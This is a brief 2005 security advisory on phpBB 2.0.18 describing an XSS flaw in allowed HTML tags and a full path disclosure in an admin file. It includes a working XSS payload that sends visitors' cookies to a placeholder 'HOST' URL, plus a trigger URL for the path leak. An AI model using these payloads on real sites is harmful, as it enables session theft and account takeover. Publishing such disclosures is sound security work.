[phpBB 2.0.18 XSS and Full Path Disclosure cXIb8O3.22]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 16.12.2005
- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites.
Contact with author http://www.phpbb.com/about.php.
- --- 1. XSS ---
If in phpbb is Allowed HTML tags "ON" like b,i,u,pre and have you in profile "Always allow HTML: YES" or are you Guest
that you can use this tags:
<B C=">" onmouseover="alert('cxsecurity.com')" X="<B "> H E L O </B>
Exploit:
<B C=">" onmouseover="alert(document.location='http://HOST/cookies?'+document.cookie)" X="<B "> H A L O </B>
and have you cookies.
- --- 2. Full Path Disclosure ---
In file admin/admin_disallow.php is
- -25-31---
if( !empty($setmodules) )
{
$filename = basename(__FILE__);
$module['Users']['Disallow'] = append_sid($filename);
return;
}
- -25-31---
function append_sid() dosen't exists. And if you have:
register_globals = On
display_errors = On
Try to go:
http://[HOST]/[DIR]/admin/admin_disallow.php?setmodules=1
- -RESULT ERROR---
Fatal error: Call to undefined function: append_sid() in /www/2018/phpBB2/admin/admin_disallow.php on line 28
- -RESULT ERROR---
- --- 3.Contact ---
Author: Maksymilian Arciemowicz